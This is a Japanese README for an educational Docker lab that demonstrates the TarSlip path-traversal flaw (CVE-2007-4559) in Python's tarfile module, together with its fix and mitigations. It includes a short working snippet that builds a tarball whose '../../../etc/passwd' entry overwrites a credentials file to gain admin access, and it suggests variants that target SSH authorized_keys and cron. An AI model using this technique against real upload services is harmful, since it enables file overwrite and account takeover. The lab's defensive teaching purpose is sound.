
自己完結型のDockerラボで、CVE-2007-4559 (TarSlip) のディレクトリトラバーサルをPythonのtarfileモジュール経由で実演します。脆弱なAPIと修正版API、ペイロード生成、セキュリティ教育用のインタラクティブなデモスクリプトを含みます。
教育目的のみ。 このラボは隔離されたDockerコンテナ内で意図的にファイルシステムの脆弱性を利用します。機密データがあるシステムや本番環境では実行しないでください。
自己完結型Dockerラボで、CVE-2007-4559 — Pythonのtarfileモジュールにおける悪名高い「TarSlip」脆弱性 — を具体的なエンドツーエンドの攻撃チェーンを通じて実演します:
extractall()が、../../../etc/passwdという名前のtarエントリを抽出ディレクトリの外側に無差別に書き込み、実際のシステムファイルを上書きする。/adminエンドポイントにアクセスできるようになる。Pythonのtarfile.extractall()は、tarアーカイブ内のすべてのエントリを忠実に再現します。これには名前に../パストラバーサルシーケンスを含むエントリも含まれます。この関数はセキュリティ境界として設計されたことはありません。
tarエントリ名 : ../../../etc/passwd
抽出ディレクトリ : /shared/uploads/a1b2c3d4/
解決後のパス : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← システムファイルが上書きされる
デモは3つのパートで構成され、各パートでキー入力を待って進行します。
GET /admin → 401。管理エンドポイントは存在し保護されています。攻撃者はパスワードを知りません。innocent.tar.gzをアップロード → ファイルはサンドボックスディレクトリ内に展開されます。すべて正常に見えます。攻撃者が tarslip_passwd.tar.gz を作成
└─ エントリ: "../../../etc/passwd"
内容: admin:hacked:1001:... ← 仕掛けられたパスワード
│
▼
POST /upload (マルチパートファイルアップロード)
│
▼
extractall("/shared/uploads/{uuid}/")
が "../../../etc/passwd" を解決 → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Welcome, admin! You have full admin access."
フラグ: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
1回のHTTP POST。シェルもRCEペイロードも不要。ただのtarファイルです。
同じtarballを修正されたAPIにアップロードします。このAPIはextractall()にfilter='data'を渡します。Pythonはtarfile.OutsideDestinationErrorを発生させます — トラバーサルはブロックされ、/etc/passwdは無傷のまま、/adminはロックされたままです。
# 脆弱 — Python 3.14以前のデフォルト
tar.extractall(extraction_dir)
# 修正済み — PEP 706 (Python 3.12以降)
tar.extractall(extraction_dir, filter='data')
たった1つの引数。出荷までに15年。
4つのサービスが隔離されたDockerブリッジネットワーク(tarslip-net)上で動作します。インターネットには到達しません。
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (ブリッジ) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ ポート 8000 │ │ ポート 8080 (ホスト)│ │
│ │ │ │ │ │
│ │ POST /upload │ │ /shared をHTTP経由で │ │
│ │ GET /admin │ │ 提供 — 抽出内容を │ │
│ │ GET /health │ │ ブラウザで視覚的に閲覧 │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ 共有ストレージボリューム │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (ホストポートなし — 内部のみ) │
│ │ │ │
│ │ craft_malicious.py — tarball生成 │
│ │ demo.py — デモ駆動 │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
脆弱なAPIと修正されたAPIは同一のソースコードを使用しています。唯一の違いは、修正されたコンテナのUSE_SAFE_EXTRACTION=true環境変数で、これが単一のfilter='data'引数を反転させます。
CVE-2007-4559-lab/
├── run_demo.sh ← ここから開始
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # admin:s3cr3t_Adm1nPass を /etc/passwd に注入
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # innocent.tar.gz + tarslip_passwd.tar.gz を生成
├── demo.py # 4モードCLIドライバー (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashを使用git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
このスクリプトは完全に対話型です。各ステップの前に説明を表示し、Enterキーで進みます。フォローするのにDockerの知識は必要ありません。
手動でステップ実行したい場合:
# 脆弱なスタック
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# 修正されたスタック
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# 後片付け
docker compose -f docker-compose.fixed.yml down
脆弱なスタックが動作している間、ブラウザで http://localhost:8080/uploads/ を開くと、抽出されたセッションディレクトリを閲覧できます。
/admin エンドポイントの動作APIはイメージビルド時にシークレットの管理者パスワードを/etc/passwdに注入します:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /adminはこのファイルを読み取り、2番目のフィールド(パスワード)をHTTP Basic認証の資格情報と照合します。攻撃者はs3cr3t_Adm1nPassを知りません — しかし、TarSlipでファイルがadmin:hackedを含む独自のバージョンで上書きされた後は、知ることになります。
これは現実世界のターゲット(SSH authorized_keys、アプリケーション設定ファイル、cronジョブ、Webプロセスが書き込める任意の資格情報ファイル)を簡略化したモデルです。
craft_malicious.pyはPython自身のtarfileモジュール — バグがあるのと同じモジュール — を使用します:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name はトラバーサルパス
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# エントリ名は /shared/uploads/{uuid}/ に展開されると /etc/passwd に解決される
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
特別なツールは不要。バイナリエクスプロイトも不要。標準ライブラリが武器であり、同時に犠牲者でもあります。
Python 3.12でPEP 706によりfilter=が導入されました。'data'フィルターは:
tarfile.OutsideDestinationErrorを発生させます# 以前(脆弱 — Python 3.14までデフォルトのまま)
with tarfile.open(path) as tar:
tar.extractall(dest)
# 以後(安全)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Python 3.11以前では、手動で検証します:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"安全でないパス: {member.name}")
tar.extractall(dest)
静的解析:banditルールB202はCI内の安全でないextractall()呼び出しをフラグします。
TarSlipは、アーカイブ抽出APIを持つすべての言語に存在する脆弱性クラスに対するPythonでの呼称です:
どこでも同じ根本原因:信頼できないアーカイブからのパスを信頼すること。どこでも同じ修正:書き込み前に正規化して検証すること。
修正前後のコード差分とbandit B202ルールに焦点を当てます。目標は「コードベースでこれを防ぐにはどうするか」— PEP 706移行ガイドとCIにチェックを追加する方法を示します。
Trellixの開示方法論に焦点を当てます — GitHubを大規模に検索し、35万以上のリポジトリへの影響を推定し、これほど広範囲に及ぶ脆弱性に対する責任ある開示をどのように進めたか。
craft_malicious.pyを拡張して、/etc/passwdの代わりにSSH authorized_keysファイルや悪意のあるcronエントリを埋め込みます。同じ手法、異なるターゲット — 書き込み可能なパスはすべて攻撃対象となることを示します。
MIT — 教育、セキュリティ研究、カンファレンスデモに自由に使用してください。所有していないシステムに対してペイロード生成手法を使用しないでください。
| タイムライン |
|---|
| 2007 | Pythonセキュリティチームにバグ報告 |
| 2007 – 2022 | 「セキュリティ問題ではない」とマーク — tarfileは「意図された動作」 |
| 2022 | Trellixの研究者がGitHubをスキャンし、35万以上のリポジトリが信頼できない入力に対してextractall()を呼び出していることを発見 |
| 2022 | 公開開示。CVE-2007-4559が再浮上。業界全体が混乱。 |
| 2023 | PEP 706がPython 3.12でfilter='data'を提供 — 修正は単一の引数 |
| サービス | イメージ | 役割 | ホストポート |
|---|
vulnerable-api | python:3.11.3-slim | FlaskアップロードAPI + /etc/passwd認証で保護された/admin | 8000 |
fixed-api | python:3.12-slim | 同一コード + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | 抽出ファイルのディレクトリ一覧表示 | 8080 |
attacker | python:3.12-slim | ペイロード生成 + デモドライバー | — |
| 停止 | 表示される説明 | Enterで行われる操作 |
|---|
| 1 | CVEのタイムライン、3つのパートの説明 | 脆弱なスタックをビルド |
| 2 | コンテナの役割、注入された管理者パスワード | ペイロードを生成 |
| 3 | 各tarballの中身 | パート1 — ベースライン |
| 4 | /adminが401を返す理由、通常の抽出の様子 | パート2 — エクスプロイト |
| 5 | トラバーサルの正確な計算、上書きされるもの | 修正されたスタックに切り替え |
| 6 | filter='data'の機能とその動作理由 | パート3 — 検証 |
| 7 | 重要な教訓 + ZipSlipパターンの概要 | 後片付け |
| 言語 | 脆弱なAPI | CVE / 勧告 |
|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, その他 | ZipSlip (2018) |